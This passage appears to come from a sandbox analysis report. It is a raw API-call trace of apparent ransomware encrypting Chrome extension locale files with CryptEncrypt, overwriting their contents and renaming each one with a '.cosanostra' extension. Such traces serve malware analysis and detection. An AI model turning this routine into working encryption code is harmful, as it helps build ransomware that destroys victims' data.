pbData=0x27caa0*, pdwDataLen=0x2abed30*=0x30) returned 1 [0105.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.218] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json") returned 164 [0105.218] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.233] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.233] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecf4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecf4*=0x2800, lpOverlapped=0x0) returned 1 [0105.233] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.234] WriteFile (in: hFile=0x160, lpBuffer=0x2abed34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecf4, lpOverlapped=0x0 | out: lpBuffer=0x2abed34*, lpNumberOfBytesWritten=0x2abecf4*=0x4, lpOverlapped=0x0) returned 1 [0105.234] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecf4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecf4*=0x30, lpOverlapped=0x0) returned 1 [0105.234] CloseHandle (hObject=0x160) returned 1 [0105.234] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json.cosanostra") returned 175 [0105.234] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json.cosanostra")) returned 1 [0105.237] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed30 | out: pbBuffer=0x2abed30) returned 1 [0105.237] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed28*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed28*=0x30) returned 1 [0105.237] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.238] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json") returned 164 [0105.238] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.262] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.262] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecec, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecec*=0x2800, lpOverlapped=0x0) returned 1 [0105.263] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.263] WriteFile (in: hFile=0x160, lpBuffer=0x2abed2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecec, lpOverlapped=0x0 | out: lpBuffer=0x2abed2c*, lpNumberOfBytesWritten=0x2abecec*=0x4, lpOverlapped=0x0) returned 1 [0105.301] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecec*=0x30, lpOverlapped=0x0) returned 1 [0105.302] CloseHandle (hObject=0x160) returned 1 [0105.302] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json.cosanostra") returned 175 [0105.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json.cosanostra")) returned 1 [0105.305] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed28 | out: pbBuffer=0x2abed28) returned 1 [0105.305] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed20*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed20*=0x30) returned 1 [0105.305] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.306] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json") returned 164 [0105.306] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.308] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.308] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abece4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abece4*=0x2800, lpOverlapped=0x0) returned 1 [0105.308] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.308] WriteFile (in: hFile=0x160, lpBuffer=0x2abed24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abece4, lpOverlapped=0x0 | out: lpBuffer=0x2abed24*, lpNumberOfBytesWritten=0x2abece4*=0x4, lpOverlapped=0x0) returned 1 [0105.313] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abece4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abece4*=0x30, lpOverlapped=0x0) returned 1 [0105.313] CloseHandle (hObject=0x160) returned 1 [0105.313] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json.cosanostra") returned 175 [0105.313] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0105.316] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed20 | out: pbBuffer=0x2abed20) returned 1 [0105.316] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed18*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed18*=0x30) returned 1 [0105.316] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.317] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json") returned 164 [0105.317] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.333] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.333] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecdc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecdc*=0x2800, lpOverlapped=0x0) returned 1 [0105.333] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.334] WriteFile (in: hFile=0x160, lpBuffer=0x2abed1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecdc, lpOverlapped=0x0 | out: lpBuffer=0x2abed1c*, lpNumberOfBytesWritten=0x2abecdc*=0x4, lpOverlapped=0x0) returned 1 [0105.335] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecdc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecdc*=0x30, lpOverlapped=0x0) returned 1 [0105.335] CloseHandle (hObject=0x160) returned 1 [0105.336] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json.cosanostra") returned 175 [0105.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json.cosanostra")) returned 1 [0105.338] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed18 | out: pbBuffer=0x2abed18) returned 1 [0105.338] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed10*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed10*=0x30) returned 1 [0105.338] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.339] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json") returned 164 [0105.339] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.342] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.342] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecd4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecd4*=0x2800, lpOverlapped=0x0) returned 1 [0105.342] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.342] WriteFile (in: hFile=0x160, lpBuffer=0x2abed14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecd4, lpOverlapped=0x0 | out: lpBuffer=0x2abed14*, lpNumberOfBytesWritten=0x2abecd4*=0x4, lpOverlapped=0x0) returned 1 [0105.343] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecd4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecd4*=0x30, lpOverlapped=0x0) returned 1 [0105.343] CloseHandle (hObject=0x160) returned 1 [0105.343] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json.cosanostra") returned 175 [0105.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0105.346] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed10 | out: pbBuffer=0x2abed10) returned 1 [0105.346] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed08*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed08*=0x30) returned 1 [0105.346] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.348] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json") returned 164 [0105.348] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.350] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.350] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeccc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abeccc*=0x2800, lpOverlapped=0x0) returned 1 [0105.350] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.350] WriteFile (in: hFile=0x160, lpBuffer=0x2abed0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeccc, lpOverlapped=0x0 | out: lpBuffer=0x2abed0c*, lpNumberOfBytesWritten=0x2abeccc*=0x4, lpOverlapped=0x0) returned 1 [0105.351] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeccc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abeccc*=0x30, lpOverlapped=0x0) returned 1 [0105.351] CloseHandle (hObject=0x160) returned 1 [0105.351] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json.cosanostra") returned 175 [0105.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json.cosanostra")) returned 1 [0105.353] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed08 | out: pbBuffer=0x2abed08) returned 1 [0105.353] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed00*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed00*=0x30) returned 1 [0105.353] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.354] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json") returned 164 [0105.354] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.357] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.357] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecc4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecc4*=0x2800, lpOverlapped=0x0) returned 1 [0105.357] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.357] WriteFile (in: hFile=0x160, lpBuffer=0x2abed04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecc4, lpOverlapped=0x0 | out: lpBuffer=0x2abed04*, lpNumberOfBytesWritten=0x2abecc4*=0x4, lpOverlapped=0x0) returned 1 [0105.357] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecc4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecc4*=0x30, lpOverlapped=0x0) returned 1 [0105.357] CloseHandle (hObject=0x160) returned 1 [0105.357] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json.cosanostra") returned 175 [0105.357] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0105.360] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed00 | out: pbBuffer=0x2abed00) returned 1 [0105.360] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecf8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecf8*=0x30) returned 1 [0105.360] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 